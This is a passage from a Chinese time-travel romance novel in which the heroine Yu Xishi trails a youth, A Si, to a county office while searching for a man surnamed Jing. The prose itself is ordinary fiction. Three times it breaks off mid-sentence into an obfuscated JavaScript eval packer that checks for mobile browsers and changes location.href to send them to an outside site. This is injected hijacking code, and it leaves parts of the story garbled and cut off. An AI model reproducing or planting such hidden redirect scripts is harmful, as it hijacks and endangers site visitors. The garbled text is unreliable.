找谁?少年并不关心,一时没有说话。虞戏时知道少年理解了她,毕竟她方才没有脱身的能力,只能在骡子死和自己死之中做选择。 虞戏时垂眼:“是我想要活下去,选择牺牲了你的同伴。方才看你跟它感情深厚,想必不是我能补偿得起。” 少年这才似笑非笑了一下,“不必矫情,看你也无自保的能力,活到这里想必已经亏欠了他人不少。而且,这也不是我的宠物,也是我随手‘借’来的罢了。” 说完,他握着装备的手搭在膝盖上,看着虞戏时,若有所思。虞戏时被盯得心乱如麻,不明所以,便见他站起身来,简单环视了一圈周遭,捡来一堆木柴——野林子里最不缺这种东西。而后他便从怀里掏出一个火折子来,先点燃一堆枯叶,才将柴火添上去。 虞戏时看出了他想做什么,只是有些不敢相信。 直到他搭起了一个木架子,将骡子的肉穿在了棍子上。 “你要吃了它?” “我得活下去。”他道。 虞戏时盯着他的动作,那种莫名的熟悉感又涌上来。少年也不知道察觉到她的注视没有,只是麻木烤肉,旁若无人般。 然后她的肚子不合时宜地“咕噜”叫了几声。 ——纵是她没察觉到饿,但已经许久没有吃过东西了,此刻肉香扑鼻,胃本能地做出反应。 少年嘴角动了动。 “……”虞戏时有些尴尬地笑了一下,“额…我叫小鱼。既然抢了你的骡子,还……不知道有什么可以帮上忙的。” “我看你是想帮我吃点。”他递来一串肉串,油光在火光下泛着诱人的色泽,可语气却带着毫不掩饰的讥诮。 虞戏时忙摆手。 “随你。”少年收回手,自己大口吃了起来。 火堆噼啪作响,火星溅起又落下。虞戏时清了清嗓子,声音比刚才更虚了几分:“不知哥哥可知哪儿能弄到代步的牲口?我得去既命司。” 听见这个称呼,他手上动作微微慢了一息,片晌:“你知道自己现在在哪里么?” 虞戏时明白了。这人是让她自己在这林子里抓一只。 她偷偷打量少年神色,对方显然没有帮忙的意思,而她身上也拿不出值得交换的物件。 她现在就是做乞丐都缺个碗。 他突然又问:“你去既命司做什么?” “方才骑白马持银枪的人你看见了么?我瞧着他是既命司的,我要找到他。” 少年抬眼,目光与虞戏时视线相撞,虞戏时呼吸一滞,忽然明白这份熟悉感从何而来。 ——当是时,冰冷的珠串面纱紧贴着她的肌肤,而眼前那个男人夺过她的匕首,眼中是不掩的杀意,锐利刀锋将要划开她的喉咙。 他是那个被“景饲生”所护送着的,车驾里的男人…… 未来的王帝? 少年被她直勾勾的目光盯得皱眉,从怀里掏出个布帕来擦过嘴,低咳一声。 “找他做什么。”他说。 虞戏时拢神:“我想留在他身边。”这是任务。 “何意?” 他眉心尚未疏解,似乎维系着一丝对她的尊重,没将她想得那般不堪。 此刻虞戏时自然能说一句“与你无关”,但害死人家骡子在前,指望着人帮忙在后,她得摆好脸色,又不能透露自己穿越者的身份,“瞧他威风俊朗,想给自己争一条活路。” 也不算撒谎。 她要留在这个世界。 少年忽然站起来,“祝你如愿。”而后将包袱甩上肩头。 虞戏时望着他背影。虽不解未来王帝为何沦落至此,但那些权谋争斗与她无关。既命司恐怕难以靠近,倒不如……她的目光追随着少年——跟着他,或许另有机缘。 这乱世之中,能遇见的都不是偶然。更何况是这样一位人物。 只是方才那番说辞,显然惹了这人嫌恶。虞戏时暗自苦笑——好手好脚却想以色侍人,难怪被看轻。现在若再提同行之请,未免太不知羞了些。 夜浓如墨,野兽声此起彼伏,好似来打猎的人也渐渐逃出去了,深夜中的野林若非高手恐怕不敢多留。 虞戏时眼下别无他法,只能远远地跟着他。 他明显是认得路的,跟着他走,不多时便出了林子,眼前豁然一片平原。他朝着某个方向坚定前行,似有明确去处。 途经一条溪流时,他俯身掬水而饮,又将擦过嘴的帕子浸在水里洗过。 虞戏时待他走远,才学样解渴。 虽走出了野林子,但周遭仍可称得上是荒郊野岭,毫无人烟,偶尔路旁有赶路的流民,瑟缩在一旁歇息。 景饲生寻到一处山洞,在洞口生了堆火便钻进去。 虞戏时在不远处找了块背风的石壁坐下。 不知道娘亲现在怎么样了。 也是,当她在“过去”时,“现在”的时间应该是不动的。直到她再次穿梭时间,回到将要被杀的那一刻。 加油!虞戏时! 她在心中给自己鼓着劲。 等到了白日,一定要找到景饲生。 这一夜睡得极不安稳,虞戏时浑身发痒,醒来时发现洞口的火堆早已熄灭。她朝山洞走去,心中有些忐忑。 不会跟丢了吧? 没走出几步,就见少年攥着几枚野果从林间小径转出。 他显然早看见了虞戏时。四目相对的瞬间,她脸上闪过一丝尴尬,随即挤出个笑容。 少年走到她跟前,递来两枚野果。晨光下,他洗净的脸庞格外清晰——那眉眼轮廓,果然是他。 “瞧着年岁不小,竟无半点生存本领。”少年啃着果子,径自绕过她继续赶路。 原来早知她尾随了一路。 “你是去寻亲么?”虞戏时小跑着跟上。 “早没家人了。” “抱歉…”她有些懊恼,“其实我来此,也是为救家人。若能结交既命司那位,或许…” “如何结交?”少年斜睨她一眼。 “说实话,我也没想好。”虞戏时苦笑,“以我这般身份,怕是连既命司大门都进不去,更别说...” “既命司哪位?” “我也不知他如今是何职司…” 她犹豫着是否该说出名字。若道出“景饲生”三字,日后必生纠葛——她一个来历不明的女子,如何晓得这个名姓?即便真见到本人,又该如何解释? “那你找个蛋。”他说。 “……”虞戏时呛了呛。 古代也是这么骂人么? 简直粗鲁。 不对啊,古代的“蛋”叫“蛋”么? 虞戏时怀疑自己听错了,怪异地看他一眼。 “我好像听说他是姓‘景’。”虞戏时含糊地说。 少年的脚步微不可察地一顿,旋即如常前行。 “我又不去既命司,跟着我做什么?” “两个人同行,不比一个人强嘛。”虞戏时笑。 “强在哪?”他偏过头来,打量她一眼,“让我带个饭桶?” 虞戏时笑滞了滞,“我瞧你步履稳健,目标明确,当是有要事在身。若你告知我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694623|173393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说不定我能帮上忙。” 他沉默片刻,眼底闪过一丝考量。 “确实有。” 虞戏时眨巴着眼睛。 “我要找一家三口。” “什么样的人家?” “一男一女,约摸三十出头,带个孩子。” 虞戏时脑中闪过那家人的脸。 “那家人有怎样的特征?” 听到这个问题,他犹豫着没有回答,似乎在权衡,毕竟她真的见过那家人的可能性小,而为那家人暴露信息带来危险的可能性大。于是他最终决定闭口不答,提了提背上的包袱,环胸继续赶路。 转身的时候,头上落下一片枯叶,稳稳地落在他的发端。少年的马尾一晃一晃,那枯叶倒似扎了根,鲜活却也没有坠落的意思。 这未来的王帝,如今尚且还有几分装老成的稚气,却比未来要灵动许多。就算在他面前是个攀附权势、势利的女人,他也没有对此表现出鄙夷,当真是有些可爱。 虞戏时带了点笑意,扬声问道:“不知你叫什么名字?” “阿四。”他答道。 “家中行四?” “与你无关。” 话音未落,他的包袱皮里滚出个褪色香囊,似黑似紫,有些年岁,香囊里挂着一条挂穗,像是穿着玉佩的。看来这香囊已经不是用来熏香,而是用来装东西了。他慌忙弯身捡起,吹了吹香囊上的灰,像对待什么珍宝般塞回包袱深处。 虞戏时心下微动,试探道,“我见过那一家三口,妇人手腕上有个月形疤痕。带着的孩子约摸十来岁,眼瞳像颗大大的黑葡萄,模样虽还未完全长成,但已然可以看出鼻梁有些高。” 阿四随着她的话回忆脑中的人像,不由自主地向她走来几步,脚边狗尾巴草随风微动,轻点着头,片晌,他抬眼看来:“跟我走。” 虞戏时知道,这交易是成了。 她帮阿四找到这家人;阿四则会想办法让她进既命司。 他走在前头,杂草都被他踩平,形成了一条小径。虞戏时加快了脚步。 日头渐毒,阿四挑的都是些不寻常的路,虞戏时跟着钻进树荫,见他正用剑鞘拨开些不知名的植物,露出藏在古树洞里的陶罐。 清亮山泉盛在宽叶里递来时,他头顶的枯叶总算是掉落在了水面上。 “以后别跟我一样,去喝路边小溪的水。”他别开脸擦过鬓角的汗,耳尖被日光晒得微红。 虞戏时捧着叶片小口啜饮,却不好意思多喝,喝了些,就将这宽叶递还给他,“你不是要赶路么?这里藏着水,到时候也带不走。” “早上买来的,想着这几日应该会在附近逗留。”阿四答道。 周遭不远处传来噼里啪啦的声响,像是鞭子抽打在枯树上。阿四拽着虞戏时蹲下,透过灌木缝隙,看见一群面色不善的大汉走过。 “这类人大概都是歹徒,抢东西的。”阿四低声道。 虞戏时被他的动作惹得紧张起来:“哦…” 待这些大汉走过了,虞戏时才说:“怎好以貌取人?” “不以貌取人,你从何得知哪些是劫匪,哪些是好人?如今这种时期,防人之心不可无。” 他站起身来,拍落身上的草灰。虞戏时看着他现在的模样,感慨十一年光景当真可以完全改变一个人,车驾里盛气凌人的王帝,谁能想象他此时竟是这等落魄又穷困潦倒的模样。 但是看此刻的他,却能想象出未来的某一日,他在春日宴上谈笑风生的样子。 两人一直赶着路。 暮色四合时,两人在一处破庙歇脚。虞戏时观察着周遭的环境,想到刚来这个世界时,看见的神庙外的风铎。 “在这个地方,庙外都会挂着风铎么?”她随意地问。 阿四正在点火,火光在他眼睛里跃动,闻言他吹熄了火折子,“大概是有的,只是被人摘去试图换些吃食了吧。” 虞戏时心中感慨着危世不易,就听阿四唤了声:“小鱼?” 虞戏时没反应过来。 见阿四看向她,她这才想起“小鱼”是她告诉他的名字。 虞戏时应了声,便听得他道:“这名字叫起来有些别扭。” 虞戏时也不打算藏着掖着,她也不是什么知名大人物:“我其实唤作虞戏时。” 她拿树枝在地上写出这三个字,风一吹,沙尘就掩盖了一大半。 他扫过一眼,继续看跳动的火星子:“名字取得麻烦。” 虞戏时用衣裳擦了擦野果,递给他,笑眼弯弯:“那劳烦您多记几遍。” 火光将两人的影子投在斑驳庙壁上,山风穿堂而过,卷走了少年一声几不可闻的“嗯”。 5. 诱 这一夜睡得十分安稳,醒来时伸了个懒腰,过了一息才想起来,这可不是一个能这么悠然的时节和地方。 她一坐起身,便看见不远处阿四抱臂坐靠在树旁,垂着头仍在沉睡。 沉得让人怀疑他昨晚是何时睡着的。 而他备好的泉水此刻派上了大用场。虞戏时不必费力寻找水源,便能洗漱及饮用。想到今日就要启程赶路,带着笨重的坛子显然不便,她也就没有刻意节省用水,只是自幼养成的习惯让她依然保持着节制的分寸。 若待会儿阿四用过后还能剩下些,留给过路人解渴也是桩善事。她正这么想着,刚洗漱完转身,冷不防对上一双清亮的眼睛——阿四不知何时已然转醒,正俯身撑膝注视着她。 虞戏时惊得跌坐在地,似乎被利刃抵喉的后怕又侵袭而来。待她拍拍胸脯顺过气,阿四已经走到一旁去洗漱。 虞戏时带着几分恼意,幽幽道:“你走路怎么跟鬼似的。”现在是这样,十一年后也是这样。 阿四没有立即答话,直到洗漱完毕才直起身来。如今他的个头已比虞戏时高出许多,垂眸看她时,有星点笑意在眼中。“不然呢?”他淡声道,“要我说''早上好''?” “...那倒不必。”虞戏时下意识退后半步。 阿四将剩余的水灌进水囊,拎起包袱迈步向前:“既命司远在千里之外,若派官员来处理事务,多半会借宿驿站或当地官员府邸。” 这番话让虞戏时茅塞顿开。原本寻找“景饲生”在她看来是件难事,经阿四点拨,竟显得如此简单。 她很快领会其中关窍:“此地动荡不安,他们随行人员不多,住在驿站不够安全,更可能借宿当地官员家中。” 阿四瞥来一眼:“嗯。”片刻后又问:“可知这是何处?” “只知刚出伏州地界。” “此乃黄县。方县令素有清名,可惜缺乏治乱之才。不过这份名声至少能保他在乱世中不受流民侵扰。我们可直接登门拜访。” 虞戏时点头,忽然起了些调/戏他的心思:“你就不怕我找到景公子后,不帮你寻那家人了?” “你会吗?”他虽这么问着,语气里却并无担心。 两人现在还不熟,虞戏时不想把玩笑开太过,老实道:“不会。” “那便是了。”顿了顿,他又道,“况且我本就有事要找既命司。若无我引路,你恐怕也会被拦在门外。” “……多谢。” “我...”阿四突然欲言又止,罕见地显出几分踌躇。 他这般情态反倒勾起虞戏时的好奇,“嗯?” “无妨。”他终是摇头,“女子立世,终归要靠自己。将安身立命之本寄托在男子身上,绝非明智之举。” 虞戏时闻言一怔。作为现代人,她自然深谙此理。但阿四——一个古代男子,怎会有这般超前的见识? 可惜她身负任务,必须留在景饲生身边。这并非如阿四所想,是要将终身托付于人。不过...既然阿四有此见解,同为男子,或许更懂如何接近另一个男子的门道? 她试探道:“哥哥既如此通透,可知女子若要长伴男子身侧,当用何法?” “......”他投来嫌弃的目光。 虞戏时也觉此问荒唐,活像闺蜜劝诫不要恋爱脑时,对方却问“那我该怎么挽回他”。 “你能有什么法子?”他这话虽不带脏字,却字字都像在骂人。那语气分明是不想再听她多言。 但虞戏时实在缺乏经验。此次能借阿四见到景饲生,恐怕是唯一机会。她不愿因自己生疏而误了大事。 虞戏时暗自咬牙,放软声调:“哥哥,教教我嘛。” 撒娇女人最好命。 “......”阿四不动声色地拉开距离,步伐明显加快。 虞戏时看出来了,这位是打心底里嫌弃她。 - 待至县衙府门前,阿四上前叩响门环。 门房开缝打量二人,见他们衣着朴素,只当是讨饭的流民,脸色顿时不善:“何事?” 阿四压低声音:“求见既命司大人,有要事禀报。还请行个方便。” 听闻既命司名号,门房反倒更加戒备。只是对上他沉静的目光,门房神色微动:“可...可有凭证?” “并无凭证。但若我所言无物,甘愿以命相抵。” 门房仍在犹豫:“若你是个亡命之徒,近大人身后突然发难,我岂非要跟着遭殃?这可不成。”他既肯说出这层顾虑,说明已信了三分。 阿四道:“但倘若误了大事,你又可否能担责?如今乱世,我要求死也不必用这种迂回的法子。再者你可有听县令大人说既命司来的那位有仇家?” 门房皱眉,权衡了一会儿,道:“待我去通报一声。” 晨雾未散的府邸门外,青石板路上还凝着露水。虞戏时在不远处,看着阿四与门房低声交谈的背影。少年人挺拔的肩线将粗布衣衫撑出利落的弧度,带着几分未脱的青涩,如藏锋的剑鞘。 她不由的看得久了些。 待门房掩门进去,他始终未曾回头。不多时,大门重开,门房将他请了进去。 “发什么呆?”阿四这才回头唤她,她慌忙跟了上去,心里头才紧张起来。 走过几转回廊,月洞门那头转出个穿简单常服的男子。 虞戏时记得他,当时他跟在疑似景饲生的男人身后,喊过一声“既命司办事,要活命就避让!”只是当时穿着甲胄而已。 “大人。”阿四抱拳行礼,虞戏时则福了福身子。 “不知礼数吗?”侍卫明显不耐,“见官不知要跪?” 阿四躬着的身子慢慢站直,手放了下去。 “你既不知我身份,何以口出狂言?谁跪谁你真的分得清么?” “你……”侍卫被唬住,迟疑道,“你是何人?” 他问着,目光挪向虞戏时,迟疑中带了些了然,像在验看货品。虞戏时忽然被阿四往身侧一带——少年不知何时已挡在她前半步,这个角度刚好能让侍卫看清她姣好的侧脸,又隔开了令人不适的视线。 虞戏时刚要开口,阿四忽然瞥了她一眼,鬼使神差的,她没有再开口说话。 “你不必知道,只需引我去见大人便是。”阿四道。 侍卫牙关一紧,上前半步,手按刀柄,“若无要事惊扰,可知后果?” “自然知道。”阿四道。 侍卫冷哼一声,转身引路。 阿四忽然开口:“此事与我妹妹无关,稍后请容我一人进去禀告。” 虞戏时心头一凛——阿四这是要断她活路?可转念一想,以他当时的态度,未必会在意她是否要“攀附”既命司大人。 眼下只能走一步看一步了。 “哼,妹妹?”侍卫冷嘲热讽道,“你们长得不像。既然干的是危险的事,何必带上她?” 阿四扫了她一眼:“自有苦衷。” 虞戏时隐约明白了——阿四此行本就有事求见既命司大人,或许是想借机把她这个“妹妹”顺势托付出去。 侍卫又问:“你们怎知大人在此歇息?” “在野林见过大人们办案,猜测会在此下榻。”虞戏时答道。 侍卫哼笑:“这世道,想往大人身边塞人的不少,可惜大人向来不近女色。”顿了顿,“不过若真能瞧上你妹妹,倒也是桩好事。” 说话间,一行人已至房前。侍卫叩门,里头传来一声:“进。” 阿四偏头低声道:“在门外等着。若情况不对,自己逃。” 侍卫又哼:“真有事,你以为逃得掉?” 虞戏时没理会他的讥讽,只对阿四点了点头。 - 阿四踏入房中,侍卫合上门,将虞戏时隔绝在外。 寒致正端茶轻啜,闻声抬眼:“何事?” 本朝的确见官需跪,阿四却只抱拳一礼:“奉熙王之命护送质子与奶娘回洛城,途中遇袭失散。随行尚有死士,但眼下生死不明。知大人在此,特来求援。” 世人之所以道熙王只有一个尚在襁褓中的孩子,是因为还有一个孩子在早前战争中被送到伏王之处为质,没想到这并没有换来和平,依旧是战乱不断,没有人觉得这个质子能活下来,理所当然地说熙王只有一子。 “什么?!”寒致猛然站起,茶盏坠地,碎瓷四溅,“何处走散的?” “在从伏州出来的官道上,如果他们安全,现在应该也已经到了黄县。” 寒致眉头紧皱,“我也只不过带了几个侍卫随行…” 阿四打断道:“大肆寻找只怕会增加危险。” “你道如何?”寒致问。 “只需严格盘查从黄县以及附近乡县出入的人群,查找他们下落。”阿四道。 “传命不难,只是尚不知邻近乡县县令的品行如何,如果透露出王嗣与奶娘身份,只怕会带来危险。” “那就不必透露。”阿四道,“我只需要把二人面容画下,让他们找到此二人便可。” 寒致点点头,“便依你所言行事。” 一旁侍卫机灵,已经拿来了纸笔供阿四作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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寒致大剌剌地坐着,许久才道,“令妹好像并不愿意留在本官身边啊。” “她胆子小。”阿四忽然开口,话罢又有些厌倦地垂下眼去,“方才吵闹着要给大人端茶倒水,现在倒是不吭声了。” “是吗?”寒致倒是笑得爽朗,“可令妹这眼神,与看街边一堆死鼠并无分别啊。”他看向阿四,咂了声嘴,“既然她不愿意,何苦非要留在本官身边?这年头虽然不景气,但送去青楼未必没有活路。毕竟快饿死的多,但富足发战争财的也不少。” 虞戏时这时才开口:“请大人将我留下,我可给大人端茶倒水。” 除此之外,虞戏时一时想不到自己还能有何法子留下。面对攻略对象时的无力与意识到自己身无所长的歉疚使得她心口闷闷的。伏低做小,这感受确实不好受。 不料阿四比他先开口,语气寻常道:“不必如此。我求大人护你一路,不是来卖奴婢。” 虞戏时心口一烫。方才升起的自卑感瞬间淡去,听得座上大人笑道:“你这不像是做惯了事的手,想必在家中享尽了宠爱,或者说,你这位兄长,平日很疼爱你吧?” 他说着,瞥了阿四一眼,阿四没说话。虞戏时含蓄道:“谈不上。” 寒致道:“瞧来娇弱,见人也怯怯,当是性子迟热,久处才活泼吧?” 这回轮到阿四道:“谈不上。” 虞戏时看了阿四一眼。 阿四道:“娇弱未必。前不久还险些踩断我的手,杀了我的骡。” 虞戏时一梗。 险些踩断他的手?虞戏时回想起在野林中的确曾踩到一个什么东西,那个东西还发出了痛呼声。 嘶。 而且,这些日子以来吃他的喝他的还要他帮忙。这么想来虞戏时的确像个土匪,再想想就算是险些将她杀掉的旧恨,也是源于她要刺杀。 君子论迹不论心。 虽说她是为了活下去,到底还是她错得更多。 不过这阿四实在不必此时揭她的短,这不是在“景饲生”面前留了个差的印象吗? 虞戏时唤他:“阿……” “兄。” 阿四一眼也未瞧她,沉默片刻,向大人行礼告退,给她留足了空间。 只是他一走,座上大人便摆摆手道:“罢了。此行来办事,不是来流连风情的,带个女子回去,熙王怎么看我?再者后续的事,带上你也危险。” 虞戏时紧张起来。 倘若“景饲生”不允许她留下,就代表着任务失败,也代表着她要回到21世纪,那个没有母亲的冰冷的家! 思及此,她重重跪了下去, “请景大人留下小女子!” 寒致眉头蹙起,“景大人?” 他的语气让虞戏时心凉了半截。 “大人,您不姓景?” 寒致笑了,“原来早有目标,可惜认错了人。” 6. 谋 从府邸出来,虞戏时还有些恍惚,可是主脑似乎并不给她想通关窍的机会,提醒道: 【距离任务结束还剩2个小时。】 2个小时。 从哪里找到真正的景饲生,还要留在他身边? 一旁,阿四忽然道:“你为何对‘景’姓…” 虞戏时摇摇头:“没事,可能是听错了,误以为大人姓景罢了。” 阿四沉默片晌:“不对。” 虞戏时抬眼看他。 “在知道他并非姓‘景’之前,你十分想留在他的身边。”他步步逼近,凝视着虞戏时的眼睛,“可当知道他并非姓‘景’后,你显得有些失魂落魄,转身便走。关键不是他,而是‘景’这个姓。” 字字珠玑。 虞戏时却不退反迎。 “那你呢?你凡事都并不过多插手,为何对我执着于‘景’之一字如此在意。 莫不是……你姓‘景’?” 两人视线相对,谁也没有退半步。秋日里凉风渐盛,荒凉的大道上,狂风更是毫无遮拦地席卷而来,阿四肌肉结实,可虞戏时几乎要被吹飞,纷飞的落叶有几片撞在了她发上,发出闷响。 这几片叶子像把虞戏时拍醒了一般——不,不行,不可再多说了。 现在还不知这阿四是不是在下什么套,如果先透露出她知道的这个名姓,倘若阿四真的是景饲生的话,只会加重他的防备,使得完成任务更加艰难。 阿四心中也另有盘算。他身负护送质子与奶娘回王都的重任,如果来者另有目的,很有可能是为了找到质子与奶娘。 两人始终沉默。 最终阿四先说了话:“算了。就此别过。” “就此别过?”虞戏时追上去一步,“你不是让我帮你找到一家人吗?这家人很重要吧?既然你已经帮我见到了既命司的大人,我也该信守承诺。” 阿四一顿。 虞戏时看出了他的犹疑:“你疑心太重了些。我已经解释过了,我听错了既命司那位大人的姓,不知他其实不姓‘景’。至于为何不再纠缠于留在他身边,他方才的态度你在门外可能听见,纵然我再想要安身立命之处,也不至于如此不知羞耻。对吗?” “你待如何?” “替你找到这家人。”虞戏时见他神情松动,试探道,“与你一起。可以吗? ” 阿四低目。 如今他已经寻得了既命司那几位的帮忙,无需这女子了。 正要拒绝,县令府邸的大门忽然打开,一门房躬身匆匆出来,走到阿四身边,道:“县令有请二位。” - 都说相由心生,听过县令曾经的美名,再看这已有了老态的男人,不免觉得其慈眉善目,颇有福相。 阿四通身的戾气在见到县令大人时,也尽数散去。县令拍了拍他的肩,将他送到座位上。下人为他们沏了茶,县令方存这才坐定:“许久未见。若非寒大人告知我你的身份,我恐怕要认不出来你了。” 阿四柔声:“方才侍卫问我是何人,我便知道门房应该是直接去通报的既命司那位大人。这个时辰,您恐怕午休才醒?” “是啊,”方存脸上有了些复杂的情绪,“你还记得我的习惯。” 阿四道:“嗯,毕竟曾受您抚养。” 方存笑了,目光挪向虞戏时:“这位是?” “路上捡的。”阿四道。 虞戏时睨了阿四一眼,起身又行了个礼:“民女虞戏时,见过县令大人。” 方存点点头,示意她坐下,又看向阿四,“你的事我都知道了,找质子与奶娘一事,我有些话要问你。” 质子?奶娘? 意识到自己无意听到秘密的虞戏时神经紧绷,她难免窥探阿四的反应,却见他没事人儿一般,安稳坐着。 似乎对于他来说,秘密既已开口,遮拦已是无益。 两人心知肚明,虞戏时是外人,只是方县令似乎不这么认为,要将锅底灰扒个干净。 “只是,我只听说过熙王将王嗣送至伏州为质,未曾听说过有放质子回国的消息?——无论是伏国还是熙国。纵然这是熙王的密令,要途径黄县,我也应该收到消息。” 阿四捏紧茶盏,“或许是熙王并不打算让许多人知晓罢了。” 方存观察到他手上的动作,脸色一沉:“你可知私自送质子回国的后果?而且如今还导致了质子失踪!” 阿四抬眼,对上方存的目光,“县令大人……希望我说什么?” 方存一锤桌子,并未十分用力,却是沉沉的一声:“少年糊涂!如今战乱不止,熙王早已放弃了这个孩子!原本伏王和熙王就旧怨颇深,如今质子出逃,伏王更有理由侵犯熙国土地!而且,熙王王后已得一子,熙王绝不可能密诏质子回国!” 阿四收回眼,明显也有了怒意,“熙王病重,王后的确生有一子,可是王妃来自于伏州,后宫争斗,你能确保幼子安然无恙?倘若熙王登仙,幼子蒙难,熙州无主,安稳从何而来?” “你这是在咒王帝与王嗣!”方存痛心疾首道,“难道我不是一心为熙州考虑?你就为一个不确定的未来、不确定的后宫之争,就要冒这么大风险!” 虞戏时也觉得阿四的理由有些撇脚,除非…… 阿四还未接话,方存已经兀自起身。檐上有几滴雨漏下,天不知何时已经阴了下来。他负手走到门边,有下人为他递上药来喝,苦黑的药汁,他一口闷下,拿帕子擦了嘴,看着四四方方的院子,叹了口气。 “你别怪我着急,听见这件事,我怎么能不急。”方存道。 阿四在方存身后微微垂头,方存看着屋外灰蒙蒙的天:“少时矢志,频频落榜,曾怀疑自己是否没有读书的天赋,后来我才知道,‘上品无寒门,下品无士族’,我就算当真走出了黄县,走出了宁州,我也踏入不了王都。这一辈子,恐怕都只能困在这一方小天地之中。” “意难平啊。邻里常在背后笑我,作无用之功,他们懂什么?他们的孩子尚在斗蛐蛐儿的年纪,我已经作得名震天下的《鱼暄》。可笑的是,《鱼暄》传到了王都,我人却还留在黄县!到了二十二岁,竟被人劝‘不如习武去’!” “我将你救回家的那一年,蒙天子微服所惜,提拔我为黄县县令——三十余年苦读,终得一句隆恩。可以说,若非没有这次提拔,我也没有救你的机会。你的命不是我给的,是熙王给的。” “纵然你不想认我,更不想认熙王的恩情。但听了这些,你当真觉得,我会不为熙王与王嗣考虑?” 他说完这些,门外的雨已然下大了,哗啦啦地飘起一层水雾,对面回廊之中能看见匆匆忙忙的下人,端着盘子不知送往何处去。 见阿四一时没有说话,他转过身来看,两人一直沉默着,好像借暗流就能厘清所有要说的话。 还是阿四先开了口,“确实知道。熙王在你心中有无与伦比的地位。否则怎会一纸密令,你就能把我送去虎狼之地。好像养我的那五年,你从未付出过真心一般。” “你在怪我?” “阿四不敢,这条命是您救的,你想要,随时可以拿去,只是,王嗣必须归国。” “你在怪我。”这次不是疑问,而是陈述。 “怎能丝毫不怪。” 阿四没有再否认。 方存走到阿四身前来,躬身沉声问:“你……你是打定了决心?现在找到质子把他送回去,或许还可挽救。” “挽救什么?伏王难道会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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所以,面对他的逼问,她能不退反进。 她唤他哥哥,问他能否和他一起走。 他只要说“好”,任务早该完成。 可惜。 不过还好,方存的这支箭,帮了她。 在虞戏时要跌倒在地时,阿四伸出了一只手,够虞戏时抱住借力,只是她没有力气,身体还是瘫软下去。阿四仍保持着一点距离,随着她的动作,阿四单膝跪地,由她靠住。 这倒像是替白眼狼挡了箭。 虞戏时声音轻弱: “阿四,我会死吗?” 委屈又娇弱。 痛意几乎要剥夺虞戏时的意识,可能是耳中嗡鸣的缘故,阿四的声音听起来沉沉的,有些不真实。 “不会。” “能不能告诉我……你的名字。” 阿四没有回答,并不想理会她问这个问题的意义。 他只说,“我带你走。” 我带你走。 只要他是景饲生,这句话的意义,无异于留在了他的身边。 最后的倒计时开始。 00:00:10 9 8 7 … 可是预想中的“任务成功”的提示并未响起。 怎么会?! “阿饲…” 对方沉默。 6 5 4 3 2 1… 她坠入了黑暗中。 …… 在虞戏时晕过去后,阿四抬眼,看向方存。 方存手里的弓箭消失,他冷哼一声坐下,对阿四道:“不用谢。” 7. 幼(1) 奇怪。 虞戏时感到自己正站在一片虚化的景象里,什么也看不真切。远处传来寺庙钟声,一声又一声,在潮湿的空气里荡出悠长的回响。 我这是......死了吗? 她试着挪动脚步,鞋底陷入松软的泥地,发出“咕唧”的声响。随着她的移动,周围的雾气开始流动,渐渐显露出真实的轮廓。 最先感受到的是冰凉的雨丝。 然后是浓重的血腥味。 当视野完全清晰时,虞戏时倒吸一口冷气——这是一片被血水浸透的荒野。横七竖八的尸体倒在血泊之中,有些穿着残破的铠甲,有些却只是粗布麻衣。雨水在凹陷的眼眶里积成小小的水洼,将那些死不瞑目的眼睛泡得发白。细密的雨丝不断落下,远处高坡上,一座寺庙的黄色光亮穿透雨幕,在天地交界处形成朦胧的光晕。 突然,一声微弱的婴儿啼哭从尸堆中传来。 她心头一紧,急忙循声找去。那哭声时断时续,像是随时会熄灭的烛火。就在她拨开层层尸体时,一阵急急的马蹄声响起。虞戏时反头,便见一群官兵正迅速向她靠近。 躲不掉了。 虞戏时站在原地,而来的这十余人却像看不见她。为首的是个面容温润的年轻男子,眉眼间却透着书卷气。 这是……方存!哦不,确切来说,是年轻一些的方存!他脸上明显没有那么多显老态的皱纹,甚至称得上意气风发。 “动作都快些。” “是。” 官兵得了方存的命令,开始将尸体往一辆拖车上搬。 他下了命令,自己也没闲着,和官兵一同动起手来。 就在这时,那个本该已经死了的婴儿再次爆发出啼哭。 这一次,这婴儿啼哭声嘹亮,没有一丁点儿虚弱之感。天际开始劈下几道惊雷,蓝紫的霹雳照出这一群人惊疑不定的神色。 “哪里来的小孩?” 方存慌忙向声音发出的地方走去。 雨势渐大,小孩可遭不住这样的雨,下人给方存撑着伞,方存已然寻到声源,躬下身去,遮不住的雨打湿了他的眼睛。虞戏时跟在他身边,一起探头往那小孩所在之处看去。 襁褓里的婴儿仍在张牙舞爪地哭着,小脸皱巴巴的一团,瞧起来竟像刚出生不久。 方存赶忙将他抱起,生涩地哄着他“别哭”,一边问身边的人,“处死的伏国俘虏里,怎会有小孩?” 先有几人面面相觑,后有晓事的出来道:“俘虏里确实有一位怀了身子的……” “怀身的夫人如何成为俘虏的?”方存嘴上这么问,脑子里却在思考别的事。 大概是对这个小孩的处置。 “大人,您贵人多忘事了。这些俘虏一年前就被抓获,那是王上亲征之战,战胜后为了涨士气抓了许多俘虏,其中也有不少女将。所以说……那名女将被抓获时,尚还没有怀娠,不然不会将她抓走。” 方存的表情凝滞住,虞戏时听着这句话,只觉尾椎骨生寒,手脚冰凉。 “闭嘴!”方存厉声呵斥,“这些俘虏一直被关在王都的大狱,虽不至于受什么大苦,也绝无可能在牢狱里生儿育女!再者说,据我所知,王都大狱男子与女子并不关在一处,这孩子……” 他忽然顿住。 